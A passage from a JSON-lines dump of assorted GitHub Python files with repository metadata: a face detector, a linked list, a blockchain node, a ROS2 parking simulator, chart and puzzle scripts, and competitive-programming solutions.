4 is not divisble by 3 or 5\")\n","repo_name":"ahadbadruddin/Quiz3","sub_path":"testFizzBuzz.py","file_name":"testFizzBuzz.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"10619450480","text":"#import required libraries\nimport time\nimport cv2\n\n#if using the picamera, import those libraries as well\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\n\n#point to the haar cascade file in the directory\ncascPath = \"haarcascade.xml\"\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\n#start the camera and define settings\ncamera = PiCamera()\ncamera.resolution = (320, 240) #a smaller resolution means faster processing\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size=(320, 240))\n\n#give camera time to warm up\ntime.sleep(0.1)\n\n# start video frame capture\nfor still in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n\t# take the frame as an array, convert it to black and white, and look for facial features\n\timage = still.array\n\tgray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\tfaces = faceCascade.detectMultiScale(\n\t\timage,\n\t\tscaleFactor = 1.1,\n\t\tminNeighbors = 5,\n\t\tminSize=(30, 30),\n\t\tflags = cv2.cv.CV_HAAR_SCALE_IMAGE\n\t)\n\n\t#for each face, draw a green rectangle around it and append to the image\n\tfor(x,y,w,h) in faces:\n\t\tcv2.rectangle(image, (x,y), (x+w, y+h), (0,255,0),2)\n\n\t#display the resulting image\n\tcv2.imshow(\"Display\", image)\n\n\t# clear the stream capture\n\trawCapture.truncate(0)\n\n\t#set \"q\" as the key to exit the program when pressed\n\tkey = cv2.waitKey(1) & 0xFF\n\tif key == ord(\"q\"):\n\t\tbreak\n","repo_name":"gigafide/simple_opencv_pi_face_detector","sub_path":"face_tracker_picam.py","file_name":"face_tracker_picam.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"2"} +{"seq_id":"39062741145","text":"#!/usr/bin/python3.7\n#pylint; ignore invalid-name\nimport logging\n\n\"\"\"\n Single Linked List implementation\n\n\"\"\"\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=100)\n\nclass Node(object):\n \"\"\"\n Node item for the linked lists, contains the actual data\n \"\"\"\n def __init__(self, nodedata = None):\n self.next = None\n self.data = nodedata\n\nclass listSingle(object):\n \"\"\"\n simple class type for a single linked list\n \"\"\"\n def __init__(self, nodedata):\n self.head = None\n self.tail = None\n self.next = None\n self.count = 0\n self.data = nodedata\n self.logger = logging.getLogger('list single')\n self.logger.info(\"list ctor \")\n\n def list_empty(self):\n \"\"\"\n Test if list is empty\n \"\"\"\n if self.head is None:\n return True\n\n return False\n\n def list_length(self):\n \"\"\"\n Return number of elements in the list\n \"\"\"\n\n list_length = 0\n p_head = self.head\n self.logger.debug(\" list_length {}\".format( hex(id(p_head))))\n\n while p_head is not None:\n list_length = list_length + 1\n p_head = p_head.next\n\n return list_length\n\n def list_add_front(self, data):\n \"\"\"\n Add a new element to the front of the list\n \"\"\"\n new_node = Node() # create a new list element\n new_node.data = data # \n new_node.next = self.head # Move the Head to this new element, making it first\n self.head = new_node \n\n self.count = self.count + 1\n\n def list_add_back(self, data):\n \"\"\" \n Add a new element to the back of the list\n \"\"\"\n new_node = Node() # create a new list element\n new_node.data = data # \n new_node.next = None\n\n if self.tail is None: # first element\n self.head = new_node # point head to new element\n self.tail = new_node # point tail to new element\n else:\n tail = self.tail\n tail.next = new_node\n self.tail = new_node\n self.count = self.count + 1\n\n def list_add(self, data):\n \"\"\"\n Add a new element to the list (append)\n \"\"\"\n self.logger.info(\">> list_add Enter \")\n\n new_node = Node()\n new_node.data = data\n new_node.next = None\n self.logger.debug(\" new node {}\".format( hex(id(new_node))))\n\n if self.head is None:\n \"\"\"\n We are first element \n \"\"\"\n self.head = new_node\n self.tail = new_node\n\n self.logger.debug(\" added as first \")\n else:\n current_tail = self.tail\n current_tail.next = new_node\n self.tail = current_tail.next\n self.logger.debug(\" added as new Next {}\".format(self.next)) \n\n self.count = self.count + 1\n\n self.logger.debug(\" Head {}\".format(hex(id(self.head))))\n self.logger.debug(\" Tail {}\".format(hex(id(self.tail))))\n\n self.logger.info(\">> list_add Exit\")\n\n def list_get_front(self):\n \"\"\"\n Return elemnt at the front of the list\n \"\"\"\n self.logger.info(\">> list_get_front \")\n\n if self.list_empty():\n raise ValueError(\"List is empty!\")\n return\n\n head = self.head\n value = head.data\n\n return value\n\n def list_get_back(self):\n \"\"\"\n Return elemnt at the back of the list\n \"\"\"\n self.logger.info(\">> list_get_back \")\n\n if self.list_empty():\n raise ValueError(\"List is empty!\")\n return\n\n tail = self.tail\n value = tail.data\n\n return value\n \n def list_search(self, value):\n \"\"\"\n Search list for specific item\n \"\"\"\n self.logger.info(\">> list_search \" )\n\n position = 0\n\n if self.head is None:\n raise ValueError(\"List is empty!\")\n return -1\n\n current = self.head\n while current is not None:\n if current.data == value:\n return position\n current = current.next\n position = position + 1\n\n return -1\n\n def list_show(self):\n \"\"\"\n Show contents of the list\n \"\"\"\n if self.head is None:\n raise ValueError(\"List is empty!\")\n return\n\n current = self.head\n self.logger.info(\" Head {}\".format(hex(id(self.head))))\n self.logger.info(\" Tail {}\".format(hex(id(self.tail))))\n self.logger.info(\" Count {}\".format(self.count))\n\n banner = \" Address \\tValue\\t pNext\\t# Nodes [\" + str(self.count) + \"]\";\n print(banner)\n\n while current is not None:\n print(\" [\" + hex(id(current)) + \"]\\t\", end='')\n print(current.data, end='')\n print(\"\\t[\" + str(hex(id(current.next))), end='')\n print(\"]\", end='')\n if current == self.head:\n print(\" <---- HEAD\", end='')\n if current == self.tail:\n print(\"\\t <---- TAIL\", end='')\n print(\"\")\n current = current.next\n\nif __name__ == \"__main__\":\n list1 = listSingle(10)\n list2 = listSingle(5)\n\n try:\n list1.list_show()\n except ValueError as e:\n logger.error(e)\n\n list1.list_add(100)\n list1.list_add(101)\n list1.list_add(102)\n list1.list_add(103)\n list1.list_add(104)\n list1.list_add(105) \n try:\n list1.list_show()\n except ValueError as e:\n logger.error(e)\n\n list2.list_add(20)\n list2.list_add(21)\n list2.list_add(2) \n\n print(list2.list_search(20))\n print(list2.list_search(21)) \n print(list2.list_search(22))\n\n print(\"add to front\")\n list2.list_show()\n list2.list_add_front(1001)\n list2.list_show()\n\n print(\"list_get_front = \", list2.list_get_front())\n\n print(\"add to back\")\n list2.list_add_back(2002)\n list2.list_show()\n\n print(\"list_get_back = \", list2.list_get_back()) \n","repo_name":"onyettr/py-llist","sub_path":"pylist.py","file_name":"pylist.py","file_ext":"py","file_size_in_byte":6192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"36345636788","text":"\n\nimport time\nimport calendar\nimport threading\nimport json\n\nimport os,sys,inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nsys.path.insert(1,currentdir) \n\n\n\nfrom Blockchain import Blockchain\nfrom Block import Block\nimport util.consts as consts\nimport db.chain as db\n\nfrom Transaction import Transaction\n\n\n\nfrom flask import Flask, request\nimport requests\nfrom flask_fastrpc import FastRPCHandler\nfrom xmlrpc import client\n\nimport socket\n\n\ndef get_ip():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n try:\n s.connect(('10.255.255.255',1))\n IP = s.getsockname()[0]\n except:\n IP = '127.0.0.1'\n finally:\n s.close()\n return IP\n\napp = Flask(__name__)\n\n\n\n#blockchain object\nblockchain = Blockchain()\n\n\ncontent_types = [\"application/json\"]\n#RPC handler for rpc calls between the blockchain_nodes\n#rpc = FastRPCHandler(app,allowed_content_types = content_types,url = '/API')\nrpc = FastRPCHandler(app,url = '/API')\n\n\npeers = set()\n\n\n\ndef sync_nodes():\n \"\"\"\n Our simple consnsus algorithm. If a longer valid chain is\n found, our chain is replaced with it.\n \"\"\"\n global blockchain\n\n longest_chain = None\n current_len = len(blockchain.chain)\n for node in peers:\n\n try:\n myserver = client.Server(node+'/API')\n response = myserver.get_chain()\n response = json.loads(response)\n print(type(response))\n print(response)\n length = response['length']\n chain = response['chain']\n if length > current_len and blockchain.check_chain_validity(chain):\n current_len = length\n longest_chain = chain\n except Exception:\n print(Exception)\n\n if longest_chain:\n blockchain = Blockchain()\n blockchain = blockchain.create_chain_from_dump(longest_chain)\n return True\n\n return False\n\n\n\n\ndef send_transaction(sender_public_key,sender_address,data,amount,reciever_address,signature):\n '''\n calculate of senders transactions in blockchain \n sender signes using his wallet and sends the signature private key is not required to be sent to the blockchain node\n '''\n \n if (type(sender_public_key) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of sender_public_key is not string\"}\n \n if (type(sender_address) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of sender_sender is not string\"}\n \n if(type(data) != dict):\n return {\"ERROR\":\"TYPE_ERROR: Invalid data format\"}\n \n if(type(amount) != float):\n return {\"ERROR\":\"Invalid type of amount\"}\n \n if (type(reciever_address) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of reciever_address is not string\"}\n \n if (type(signature) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of signature is not string\"}\n \n \n txn = Transaction(0,sender_address,reciever_address,amount,sender_public_key,data,time.time())\n \n blockchain.unconfirmed_transactions.append(txn)\n \n \n send_txn_to_peers(txn)\n \n \n return txn.toStr()\n \n\n\n\ndef get_transaction(txn):\n \n if(type(txn) != str):\n return {\"ERROR\":\"TYPE_ERROR: Type of data recieved is not string\"}\n \n txn = Transaction.Objectify(txn)\n \n if(type(txn.nonce) != int):\n return {\"ERROR\":\"Invalid type of nonce in transaction\"}\n \n if (type(txn.vk) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of sender_public_key is not string\"}\n \n if (type(txn.from_account) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of sender_address is not string\"}\n \n if(type(txn.data) != dict):\n return {\"ERROR\":\"TYPE_ERROR: Invalid data format\"}\n \n if(type(txn.amount) != float):\n return {\"ERROR\":\"Invalid type of amount\"}\n \n if (type(txn.to_account) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of reciever_address is not string\"}\n \n if (type(txn.sig) != str):\n return {\"ERROR\":\"TYPE_ERROR:Type of signature is not string\"}\n \n blockchain.unconfirmed_transactions.append(txn)\n \n send_txn_to_peers(txn)\n \n return {\"Status\":\"OK\"}\n\n\ndef send_txn_to_peers(txn):\n for node in peers:\n myserver = client.Server(node+'/API')\n try:\n response = myserver.get_transaction(json.dumps(txn))\n except:\n peers.remove(node)\n\n\n \nrpc.register_method(\"get_transaction\",get_transaction)\n\nif __name__==\"__main__\":\n global NODE_PORT\n try:\n if (db.NODE_KEY_STORE):\n sk,vk = db.store_key_pair()\n print(msg)\n print(keys)\n \n\n if (db.NEW_BLOCKCHAIN):\n print(\"Local Database Unavailable\")\n db.create_database()\n print(\"Starting new node from genesis\")\n \n else:\n print(\"FOUND Local database restoring data\")\n block_headers = db.db_get_chain_metadata()\n blockchain.build_chain_from_header(block_headers)\n '''\n create an method in Blockchain class to create chain from block headers\n '''\n \n sync_nodes()\n \n NODE_PORT = 8000\n \n app.run(host = \"0.0.0.0\",port=NODE_PORT,debug=True)\n\n\n\n\n except KeyboardInterrupt:\n db.db.close()\n db.node_db.close()\n print(\"FullNode: singing offf!!!!\")\n \n","repo_name":"alokjaiswal/NITGChain","sub_path":"src/full_node.py","file_name":"full_node.py","file_ext":"py","file_size_in_byte":5398,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"} +{"seq_id":"42893540637","text":"\n\nimport plotly.offline as pyo\nimport plotly.graph_objs as go\n\n\nimport pandas as pd\n\ndf=pd.read_csv('/Users/stefanhummel/Documents/GitHub/Plotly-Dashboards-with-Dash/Data/2018WinterOlympics.csv')\n\n\ntrace1=go.Bar(x=df['NOC'],\n y=df['Gold'],\n name='Gold',\n marker={'color':'#FFD700'})\n\ntrace2=go.Bar( x=df['NOC'],\n y=df['Silver'],\n name='Silver',\n )\n\ntrace3=go.Bar( x=df['NOC'],\n y=df['Bronze'],\n name='Bronze',\n marker={'color':'#CD7F32'})\n\ndata=[trace1,trace2,trace3]\n\nlayout=go.Layout(title='Olympics Medals',barmode='stack')\n\nfig=go.Figure(data=data,layout=layout)\npyo.plot(fig)","repo_name":"gershu/python","sub_path":"bar_charts.py","file_name":"bar_charts.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"22745276639","text":"#!/usr/bin/env python3\nimport rclpy\n\nimport subprocess\nimport numpy as np\n\nfrom pathlib import Path\nimport glob\nimport os\n\nimport traceback\n\nimport pickle\n\nfrom dlp.dataset import Dataset\nfrom dlp.visualizer import Visualizer as DlpVisualizer\n\nfrom std_msgs.msg import Int16MultiArray, Bool, Float32\nfrom parksim.msg import VehicleStateMsg\nfrom parksim.srv import OccupancySrv\nfrom parksim.base_node import MPClabNode\nfrom parksim.pytypes import VehicleState, NodeParamTemplate\n\nclass SimulatorNodeParams(NodeParamTemplate):\n \"\"\"\n template that stores all parameters needed for the node as well as default values\n \"\"\"\n def __init__(self):\n self.dlp_path = '/dlp-dataset/data/DJI_0012'\n self.timer_period = 0.1\n self.random_seed = 0\n\n self.blocked_spots = []\n\n self.spawn_entering = 3\n self.spawn_exiting = 3\n self.y_bound_to_resume_spawning = 70\n self.spawn_interval_mean = 5 # (s)\n\n self.spots_data_path = ''\n self.agents_data_path = ''\n\n self.use_existing_agents = True\n\n self.write_log = True\n self.log_path = '/ParkSim/vehicle_log'\n\nclass SimulatorNode(MPClabNode):\n \"\"\"\n Node class for simulation\n \"\"\"\n def __init__(self):\n super().__init__('simulator')\n self.get_logger().info('Initializing Simulator Node')\n namespace = self.get_namespace()\n\n param_template = SimulatorNodeParams()\n self.autodeclare_parameters(param_template, namespace)\n self.autoload_parameters(param_template, namespace)\n\n np.random.seed(self.random_seed)\n\n # Check whether there are unterminated vehicle processes\n all_nodes_names = [x[0] for x in self.get_node_names_and_namespaces()]\n print(all_nodes_names)\n if 'vehicle' in all_nodes_names:\n self.get_logger().error(\"Some vehicle nodes are not shut down cleanly. Please kill those processes first.\")\n raise KeyboardInterrupt()\n\n # Clean up the log folder if needed\n if self.write_log:\n log_dir_path = str(Path.home()) + self.log_path\n\n if not os.path.exists(log_dir_path):\n os.mkdir(log_dir_path)\n log_files = glob.glob(log_dir_path+'/*.log')\n for f in log_files:\n os.remove(f)\n self.get_logger().info(\"Logs will be saved in %s. Old logs are cleared.\" % log_dir_path)\n\n # DLP\n home_path = str(Path.home())\n self.get_logger().info('Loading Dataset...')\n ds = Dataset()\n ds.load(home_path + self.dlp_path)\n self.dlpvis = DlpVisualizer(ds)\n\n # Parking Spaces\n self.parking_spaces, self.occupied = self._gen_occupancy()\n for idx in self.blocked_spots:\n self.occupied[idx] = True\n\n # Agents\n self._gen_agents()\n\n # Spawning\n self.spawn_entering_time = list(np.random.exponential(self.spawn_interval_mean, self.spawn_entering))\n\n self.spawn_exiting_time = list(np.random.exponential(self.spawn_interval_mean, self.spawn_exiting))\n\n self.last_enter_id = None\n self.last_enter_sub = None\n self.last_enter_state = VehicleState()\n self.keep_spawn_entering = True\n\n self.start_time = self.get_ros_time()\n\n self.last_enter_time = self.start_time\n self.last_exit_time = self.start_time\n\n self.vehicles = []\n self.num_vehicles = 0\n\n self.timer = self.create_timer(self.timer_period, self.timer_callback)\n\n # Publish the simulation time\n self.sim_time_pub = self.create_publisher(Float32, '/sim_time', 10)\n\n # Visualizer publish this status since the button is on GUI\n self.sim_status_sub = self.create_subscription(Bool, '/sim_status', self.sim_status_cb, 10)\n self.sim_is_running = True\n\n self.occupancy_pub = self.create_publisher(Int16MultiArray, 'occupancy', 10)\n\n self.occupancy_srv = self.create_service(OccupancySrv, 'occupancy', self.occupancy_srv_callback)\n\n self.occupancy_cli = self.create_client(OccupancySrv, '/occupancy')\n\n def sim_status_cb(self, msg: Bool):\n self.sim_is_running = msg.data\n\n def occupancy_srv_callback(self, request, response):\n vehicle_id = request.vehicle_id\n idx = request.idx\n new_value = request.new_value\n\n self.occupied[idx] = new_value\n\n response.status = True\n\n self.get_logger().info(\"Vehicle %d changed the occupancy at %d to be %r\" % (vehicle_id, idx, new_value))\n \n return response\n\n def _gen_occupancy(self):\n # get parking spaces\n arr = self.dlpvis.parking_spaces.to_numpy()\n # array of tuples of x-y coords of centers of spots\n parking_spaces = np.array([[round((arr[i][2] + arr[i][4]) / 2, 3), round((arr[i][3] + arr[i][9]) / 2, 3)] for i in range(len(arr))])\n\n scene = self.dlpvis.dataset.get('scene', self.dlpvis.dataset.list_scenes()[0])\n\n # figure out which parking spaces are occupied\n car_coords = [self.dlpvis.dataset.get('obstacle', o)['coords'] for o in scene['obstacles']]\n # 1D array of booleans — are the centers of any of the cars contained within this spot's boundaries?\n occupied = [any([c[0] > arr[i][2] and c[0] < arr[i][4] and c[1] < arr[i][3] and c[1] > arr[i][9] for c in car_coords]) for i in range(len(arr))]\n\n return parking_spaces, list(map(int, occupied))\n\n def _gen_agents(self):\n home_path = str(Path.home())\n with open(home_path + self.agents_data_path, 'rb') as f:\n self.agents_dict = pickle.load(f)\n\n def add_vehicle(self, spot_index: int):\n\n self.num_vehicles += 1\n\n self.vehicles.append(\n subprocess.Popen([\"ros2\", \"launch\", \"parksim\", \"vehicle.launch.py\", \"vehicle_id:=%d\" % self.num_vehicles, \"spot_index:=%d\" % spot_index])\n )\n\n self.get_logger().info(\"A vehicle with id = %d is added with spot_index = %d\" % (self.num_vehicles, spot_index))\n\n def add_existing_vehicle(self, vehicle_id: int):\n\n self.num_vehicles += 1\n\n self.vehicles.append(\n subprocess.Popen([\"ros2\", \"launch\", \"parksim\", \"vehicle.launch.py\", \"vehicle_id:=%d\" % vehicle_id, \"spot_index:=%d\" % 0])\n )\n\n self.get_logger().info(\"An existing vehicle with id = %d is added\" % vehicle_id)\n\n def shutdown_vehicles(self):\n for vehicle in self.vehicles:\n vehicle.kill()\n\n print(\"Vehicle nodes are down\")\n\n def last_enter_cb(self, msg):\n self.unpack_msg(msg, self.last_enter_state)\n\n # If vehicle left entrance area, start spawning another one\n if self.last_enter_state.x.y < self.y_bound_to_resume_spawning:\n self.keep_spawn_entering = True\n self.get_logger().info(\"Vehicle %d left the entrance area.\" % self.last_enter_id)\n\n def try_spawn_entering(self):\n current_time = self.get_ros_time()\n\n if self.spawn_entering_time and current_time - self.last_enter_time > self.spawn_entering_time[0]:\n empty_spots = [i for i in range(len(self.occupied)) if not self.occupied[i]]\n chosen_spot = np.random.choice(empty_spots)\n self.add_vehicle(chosen_spot) # pick from empty spots randomly\n self.occupied[chosen_spot] = True\n self.spawn_entering_time.pop(0)\n\n self.last_enter_time = current_time\n self.last_enter_id = self.num_vehicles\n self.last_enter_sub = self.create_subscription(VehicleStateMsg, '/vehicle_%d/state' % self.last_enter_id, self.last_enter_cb, 10)\n self.keep_spawn_entering = False\n\n def try_spawn_exiting(self):\n current_time = self.get_ros_time()\n\n if self.spawn_exiting_time and current_time - self.last_exit_time > self.spawn_exiting_time[0]:\n empty_spots = [i for i in range(len(self.occupied)) if not self.occupied[i]]\n chosen_spot = np.random.choice(empty_spots)\n self.add_vehicle(-1 * chosen_spot)\n self.occupied[chosen_spot] = True\n self.spawn_exiting_time.pop(0)\n\n self.last_exit_time = current_time\n\n def try_spawn_existing(self):\n current_time = self.get_ros_time() - self.start_time\n added_vehicles = []\n\n for agent in self.agents_dict:\n if self.agents_dict[agent][\"init_time\"] < current_time:\n self.add_existing_vehicle(agent)\n added_vehicles.append(agent)\n\n for added in added_vehicles:\n del self.agents_dict[added]\n\n def timer_callback(self):\n\n if self.sim_is_running:\n if not self.use_existing_agents:\n \n if self.keep_spawn_entering:\n if self.last_enter_sub:\n self.destroy_subscription(self.last_enter_sub)\n self.last_enter_sub = None\n\n self.try_spawn_entering()\n\n self.try_spawn_exiting()\n else:\n self.try_spawn_existing()\n\n # Publish current simulation time\n time_msg = Float32()\n time_msg.data = self.get_ros_time() - self.start_time\n self.sim_time_pub.publish(time_msg)\n\n occupancy_msg = Int16MultiArray()\n occupancy_msg.data = self.occupied\n self.occupancy_pub.publish(occupancy_msg)\n\n # Restart service if too busy\n if not self.occupancy_cli.wait_for_service(timeout_sec=1.0):\n self.destroy_service(self.occupancy_srv)\n self.occupancy_srv = self.create_service(OccupancySrv, 'occupancy', self.occupancy_srv_callback)\n\n self.get_logger().warning('Service not available, restarted.')\n\ndef main(args=None):\n rclpy.init(args=args)\n\n simulator = SimulatorNode()\n\n try:\n rclpy.spin(simulator)\n except KeyboardInterrupt:\n print('Simulation is terminated')\n except:\n print('Unknown exception')\n traceback.print_exc()\n finally:\n simulator.shutdown_vehicles()\n simulator.destroy_node()\n print('Simulation stopped cleanly')\n\n rclpy.shutdown()\n\nif __name__ == \"__main__\":\n main()","repo_name":"XuShenLZ/ParkSim","sub_path":"workspace/src/parksim/src/simulator_node.py","file_name":"simulator_node.py","file_ext":"py","file_size_in_byte":10161,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"2"} +{"seq_id":"26909361489","text":"# [BOJ] 20061. 모노미노도미노 2\n# 소요 시간 : 60분\n\nimport sys\ninput = sys.stdin.readline\n\n\ndef create_blocks(t, y, x):\n green_matrix[0][x] = 1\n blue_matrix[0][3 - y] = 1\n \n if t == 2:\n green_matrix[0][x + 1] = 1\n blue_matrix[1][3 - y] = 1\n elif t == 3:\n green_matrix[1][x] = 1\n blue_matrix[0][2 - y] = 1\n\n\ndef play(matrix: list):\n tiles = []\n for i in range(2):\n for j in range(4):\n if matrix[1 - i][j] == 1:\n tiles.append([1 - i, j])\n\n breaker = True\n while breaker:\n for ty, tx in tiles:\n if ty + 1 > 5 or matrix[ty + 1][tx] == 2:\n breaker = False\n break\n else:\n for idx, tile in enumerate(tiles):\n ty, tx = tile\n matrix[ty][tx], matrix[ty + 1][tx] = matrix[ty + 1][tx], matrix[ty][tx]\n tiles[idx][0] += 1\n \n for ty, tx in tiles:\n matrix[ty][tx] = 2\n \n for i in range(2, 6):\n if sum(matrix[i]) == 8:\n global score\n del matrix[i]\n matrix.insert(0, [0] * 4)\n score += 1\n\n cnt = 0\n for i in range(0, 2):\n if sum(matrix[i]) != 0:\n cnt += 1\n \n for i in range(cnt):\n matrix.pop()\n matrix.insert(0, [0] * 4)\n\n\n\ndef count_tiles():\n green_tiles = sum([sum(green_matrix[i]) for i in range(6)])\n blue_tiles = sum([sum(blue_matrix[i]) for i in range(6)])\n return (green_tiles + blue_tiles) // 2\n\n\nN = int(input())\ngreen_matrix = [[0] * 4 for _ in range(6)]\nblue_matrix = [[0] * 4 for _ in range(6)]\nscore = 0\n\nfor _ in range(N):\n t, y, x = map(int, input().split())\n\n create_blocks(t, y, x)\n play(green_matrix)\n play(blue_matrix)\n\nprint(score)\nprint(count_tiles())","repo_name":"S8-StudyGroup/Navigate-Best-Algorithms","sub_path":"NBA_heeje/2023_08/week_3rd/20061.py","file_name":"20061.py","file_ext":"py","file_size_in_byte":1801,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"2"} +{"seq_id":"14997318059","text":"# https://leetcode.com/problems/linked-list-cycle-ii/\n\nclass Solution:\n def detectCycle(self, head: Optional[ListNode]) -> Optional[ListNode]:\n slow = fast = head\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n\n if slow == fast:\n break\n else:\n return None\n\n while head != slow:\n head = head.next\n slow = slow.next\n return head\n","repo_name":"tseng1026/LeetCode-DataStructure","sub_path":"LinkedList/Medium/linked_list_cycle_ii.py","file_name":"linked_list_cycle_ii.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"29665296165","text":"import cProfile\nfrom collections import deque\nimport copy\nimport gc\nimport io\nfrom math import ceil, sqrt\nimport multiprocessing\nimport re\nimport threading\nimport time\n\n#hardcoded variables\nbannedChars = [\"'\",\"Å\",\"â\",\"ä\",\"á\",\"å\",\"ç\",\"é\",\"è\",\"ê\",\"í\",\"ñ\",\"ó\",\"ô\",\"ö\",\"ü\",\"û\",\"-\",\" \"]\nwordLen = 5\nNumberOfWords = 3\n\n\n#global variables\nl_FullyUnhomedLetters = []\nl_AllKnownLetters = []\n\nl_AllWords = []\n\n#functions block\ndef load_dict(file:str,StorageList:list[str]):\n fileDict=io.open(file, mode=\"r\", encoding=\"utf-8\")\n dictionary = fileDict.readlines()\n dictsize = int(len(dictionary))\n StorageList += dictionary\n\ndef build_dictionary(wordLength:int,bannedCharacters:list[str]):\n global l_AllWords\n\n #Load YAWL by Mendel Leo Cooper\n load_dict(\"Wordlists/YAWL.txt\",l_AllWords)\n\n l_AllWords = optimize_wordlist(l_AllWords,wordLength,bannedCharacters)\n\n print(\"Answer list Loaded.\")\n print(\"(\"+str(len(l_AllWords))+\" words)\")\n\ndef optimize_wordlist(wordList:list[str],wordLength:int,bannedCharacters:list[str]) -> list[str]:\n \"\"\"\n Returns all words in \\\"wordList\\\" that are \\\"wordLength\\\" characters long and do not contain any character in \\\"bannedCharacters\\\"\\n\n The new list is deduplicated and sorted alphabetically.\\n\"\"\"\n\n newWords = []\n for word in wordList:\n word = word.strip().lower()\n if(len(word)==wordLength):\n if not any(bannedCharacter in bannedCharacters for bannedCharacter in word):\n #print(word)\n newWords.append(word)\n newWords = list(dict.fromkeys(newWords)) #dedupe the list (because evidently it needs that)\n newWords.sort() #why not have it sorted, too?\n return newWords\n\ndef reduce_Wordlist(l_WordList:list[str], l_bannedChars:list[str] = [], l_WantedLetters:list[str] = [], s_Regex:str = \"\") -> list[str]:\n \"\"\"Takes in a list of words, and returns only the words that fit certain criteria\"\"\"\n newWords = []\n for word in l_WordList:\n if not any(bannedCharacter in l_bannedChars for bannedCharacter in word): #no banned letters\n if StrContainsAllLettersWithCount(word,l_WantedLetters): #all(needLetter in word for needLetter in neededLetters): #contains the letters we need\n if re.search(s_Regex, word):\n newWords.append(word)\n return newWords\n\ndef StrContainsAllLettersWithCount(s_Word:str, l_Letters:list[str]) -> bool:\n #quick check to skip the hard part if I don't need to.\n #Turns out this check is slower in most cases\n #if not all(needLetter in s_word for needLetter in l_letters):\n # return False\n\n for i in range(len(l_Letters)):\n #neededCount = l_letters.count(l_letters[i])\n #haveCount = s_word.count(l_letters[i])\n if s_Word.count(l_Letters[i]) list:\n #for i in range(len(l_Extension)):\n tempCopy = copy.deepcopy(l_Extension)\n l_OrigList.extend(tempCopy)\n return l_OrigList\n\ndef AreWeDoneYet(l_HorizontalWords:list[str], l_VerticalWords:list[str]) -> bool:\n for i in range(len(l_HorizontalWords)):\n if len(l_HorizontalWords[i]) > 1:\n return False\n for i in range(len(l_VerticalWords)):\n if len(l_VerticalWords[i]) > 1:\n return False\n return True\n\ndef DisplayWaffle(l_HorizKnownLetters:list[str],l_VertKnownLetters:list[str]) -> None:\n iWordLen = len(l_HorizKnownLetters[0])\n iNumberOfWords = len(l_HorizKnownLetters)\n for Row in range(iWordLen):\n sOutput = \"\"\n if Row % 2 == 0: #row 0,2,4: full length words\n #Row 0 = horizword 0\n #Row 2 = horizword 1\n #Row 4 = horizword 2\n iWordIndex = round(Row / 2)\n for i in range(iWordLen):\n if l_HorizKnownLetters[iWordIndex][i] == \".\":\n sOutput += \" ? \"\n else:\n sOutput += \" \"+l_HorizKnownLetters[iWordIndex][i]+\" \"\n else: #row 1,3: just 3 letters\n #Col 0 = VertWord 0\n #Col 1 = space\n #col 2 = VertWord 1\n #Col 3 = space\n #col 4 = VertWord 2\n for Col in range(iWordLen):\n if Col % 2 == 0: #column 0,2,4: letters\n iWordIndex = round(Col / 2)\n if l_VertKnownLetters[iWordIndex][Row] == \".\":\n sOutput += \" ? \"\n else:\n sOutput += \" \"+l_VertKnownLetters[iWordIndex][Row]+\" \"\n else: #1 or 3: spaces\n sOutput += \" \"\n print(sOutput)\n\ndef LetterIndextoWordCoords(Index:int,iWordLen:int,iNumOfWords:int) -> list:\n \"\"\"Takes an integer for the index in the storage string a letter is, and converts that to a list with the Vertical and Horizontal word and index it represents\"\"\"\n l_ReturnList = [[None,None],[None,None]] #1st is horizontal [word, index], 2nd is vertical [word,index]\n #00 = [[0,0][0,0]]\n #01 = [[0,1][None,None]]\n #02 = [[0,2][1,0]]\n #03 = [[0,3][None,None]]\n #04 = [[0,4][2,0]]\n #05 = [[None,None][0,1]]\n #06 = [[None,None][1,1]]\n #07 = [[None,None][2,1]]\n #08 = [[1,0][0,2]]\n #09 = [[1,1][None,None]]\n #10 = [[1,2][1,2]]\n #...\n #20 = [[2,4][2,4]]\n\n iSetLength = iWordLen+iNumOfWords\n #set index = which block of 8 are we in\n iSetIndex = Index // iSetLength\n #Super Index = which part of the block of 8 are we in\n iSuperIndex = Index - (iSetIndex*iSetLength)\n\n if Index >= ((iSetLength * (iNumOfWords-1))+iWordLen):\n return l_ReturnList #the index isn't valid at all\n elif Index < 0:\n return l_ReturnList\n\n #Horizontal word:\n HorizWord = iSetIndex\n HorizIndex = iSuperIndex\n if HorizIndex >= wordLen:\n HorizWord = None\n HorizIndex = None\n \n VertWord = None\n VertIndex = None\n #vertical word:\n if iSuperIndex < iWordLen:\n #we're in the first part, where it alternates for vertical being valid\n if iSuperIndex % 2 == 0:\n #valid spot\n VertIndex = iSetIndex * 2 #the index goes up by 2 for every set, and we know we're in the first part here\n VertWord = iSuperIndex // 2\n else:\n #invalid spot, already set to None, so nothing to do\n pass\n else:\n #we're in the second part where word constantly ticks up, but 